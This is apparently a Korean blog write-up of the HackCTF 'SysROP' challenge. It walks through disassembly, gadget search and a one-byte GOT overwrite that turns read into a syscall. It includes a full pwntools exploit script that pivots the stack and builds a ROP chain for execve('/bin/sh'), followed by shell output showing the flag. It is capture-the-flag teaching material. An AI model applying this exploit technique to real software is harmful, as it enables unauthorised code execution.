본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] SysROP

시작

안녕하세요 :D

350점 짜리 첫 문제, sysrop 입니다.

풀긴 풀었는데 엄청 삽질했네요.. 다른 분들 풀이 보니깐 참 쉽게 푸셨던데 ㅠㅠ

시작해볼게요.

Write UP

  4005f2:       55                      push   rbp
  4005f3:       48 89 e5                mov    rbp,rsp
  4005f6:       48 83 ec 10             sub    rsp,0x10
  4005fa:       48 8b 05 3f 0a 20 00    mov    rax,QWORD PTR [rip+0x200a3f]        # 601040 
  400601:       b9 00 00 00 00          mov    ecx,0x0
  400606:       ba 02 00 00 00          mov    edx,0x2
  40060b:       be 00 00 00 00          mov    esi,0x0
  400610:       48 89 c7                mov    rdi,rax
  400613:       e8 b8 fe ff ff          call   4004d0 <setvbuf@plt>
  400618:       48 8b 05 31 0a 20 00    mov    rax,QWORD PTR [rip+0x200a31]        # 601050 
  40061f:       b9 00 00 00 00          mov    ecx,0x0
  400624:       ba 02 00 00 00          mov    edx,0x2
  400629:       be 00 00 00 00          mov    esi,0x0
  40062e:       48 89 c7                mov    rdi,rax
  400631:       e8 9a fe ff ff          call   4004d0 <setvbuf@plt>
  400636:       48 8d 45 f0             lea    rax,[rbp-0x10]
  40063a:       ba 78 00 00 00          mov    edx,0x78
  40063f:       48 89 c6                mov    rsi,rax
  400642:       bf 00 00 00 00          mov    edi,0x0
  400647:       e8 64 fe ff ff          call   4004b0 <read@plt>
  40064c:       b8 00 00 00 00          mov    eax,0x0
  400651:       c9                      leave
  400652:       c3                      ret

stripped된 파일이라 gdb 상에서 main이 안 보여요. 때문에 objdump로 긁어왔습니다.

read(0, &rbp-0x10,, 0x78) 이외엔 특별한 코드는 안 보이네요. 가젯만 있으면 쉽게 뜯을 수 있겠습니다.

0x004005ea: pop rax ; pop rdx ; pop rdi ; pop rsi ; ret  ;  (1 found)

가젯 여기 다 있네요 ㅋㅋㅋㅋㅋㅋ

root@goorm:/workspace/LCH_Server/HackCTF/25.SROP# rp-lin-x64 -f ./sysrop -r 4 | grep "syscall"
root@goorm:/workspace/LCH_Server/HackCTF/25.SROP#

syscall만 없는 것을 확인할 수 있습니다.

옛날에 푼 문제 중 pwnable.kr의 Unexploitable이랑 비슷하네요.

syscall이 없을 땐 특정 함수의 1 byte를 함수 내 syscall 부분의 1 byte로 덮어주면 plt 호출 시 syscall로 작용하는 내용이 있었습니다.

주어진 libc를 gdb에 올리고 read()의 syscall 부분을 찾아봅시다.

gdb-peda$ find "\x0f\x05"
Searching for '\x0f\x05' in: None ranges
Found 483 results, display max 256 items:
.
.
libc.so.6 : 0x55f1e2be127b (<read+43>:  syscall)
.
.

하위 1 byte는 \x7b네요. 얘를 read_got에 덮어쓰겠습니다.

시나리오는 “/bin/sh”를 넣어주고, read_got 1 byte overwrite 이후 rax에 0x3b, rdi에 “/bin/sh” 주소 준 후 read_plt 호출이 끝인데..

페이로드를 0x78 = 120 bytes밖에 못 넣어줘요.

이건 그냥 함수의 프롤로그 부분으로 넘기면 되는데 저는.. 뭔가에 씌여서.. read()의 시작부분으로 계속 넘겨버렸어요..

이 쪽으로 넘기면 SFP에 유효하지 않은 값을 줄 시 세그폴트가 계속 뜹니다.

rbp-0x10에 입력을 받는데 문제가 생기기 때문이에요.

편안하게 push rbp / mov rbp, rsp로 넘기면 mov 연산에 의해 유효한 rbp가 들어갈텐데..

결국 “/bin/sh”를 넣고 push rbp로 돌린 후 위에 언급한 시나리오를 따라가면 쉽게 풀릴 문제가 다음과 같은

괴랄한 코드로 변해버렸습니다ㅠㅠ

from pwn import *

#p = process("./sysrop")
p = remote("ctf.j0n9hyun.xyz", 3024)

#context.log_level = "debug"

payload = ""
exploit = ""
pay = ""

read_plt = 0x4004b0
read_got = 0x601018
pppr = 0x4005eb
ppppr = 0x4005ea
main_read = 0x400636
save_rbp = 0x601070
save_rbp2 = 0x601500
save_rsp = 0x601508
setvbuf_got = 0x601028
leave_ret = 0x400651
binsh = 0x601800

payload += "A" * 16
payload += p64(save_rbp)
payload += p64(main_read)       # Set rbp = 0x601070

p.send(payload)
sleep(0.5)

exploit += "A" * 16             # buf = 0x601060
exploit += p64(save_rbp2)       # Set rbp = 0x601500

exploit += p64(pppr)
exploit += p64(0x200)
exploit += p64(0)
exploit += p64(save_rsp)
exploit += p64(read_plt)        # read(0, 0x601508, 0x200)
exploit += p64(leave_ret)       # rbp = 0x601500 / rsp = 0x601508

p.send(exploit)
sleep(0.5)

pay += p64(ppppr)               # 0x601508
pay += p64(0)
pay += p64(8)
pay += p64(0)
pay += p64(binsh)
pay += p64(read_plt)

pay += p64(pppr)
pay += p64(1)
pay += p64(0)
pay += p64(read_got)

pay += p64(read_plt)

pay += p64(ppppr)
pay += p64(0x3b)
pay += p64(0)
pay += p64(binsh)
pay += p64(0)
pay += p64(read_plt)

p.send(pay)
sleep(0.5)

p.send("/bin/sh\x00")
sleep(0.5)

p.send("\x7b")
sleep(0.5)

p.interactive()

유효한 rbp를 넣어주려고 leave_ret 가젯도 쓰고.. 난리났네요 진짜

꼭 기억합시다!! 페이로드 길이가 부족할 땐 프롤로그로 돌리는게 마음 편하다는 것을!!!..

[+] Opening connection to ctf.j0n9hyun.xyz on port 3024: Done
[*] Switching to interactive mode
$ ls
flag
main
$ cat flag
//flag!!!

Exploit!!

마무리

왜 lea 명령어쪽으로 돌려서 rbp와 rsp의 offset을 하나하나 찾아 페이로드를 꾸겨넣었을까요 ㅠㅠ

오랜만에 제대로 삽질했습니다 ㅋㅋㅋㅋㅋ 이제라도 프롤로그로 돌리자는 것을 느꼈으니 된 거에요ㅎ

감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] Register  (0) 2019.10.15
[HackCTF] RTC  (0) 2019.10.12
[HackCTF] Unexploitable #1  (0) 2019.10.10
[HackCTF] UAF  (0) 2019.09.26
[HackCTF] Pwning  (0) 2019.09.26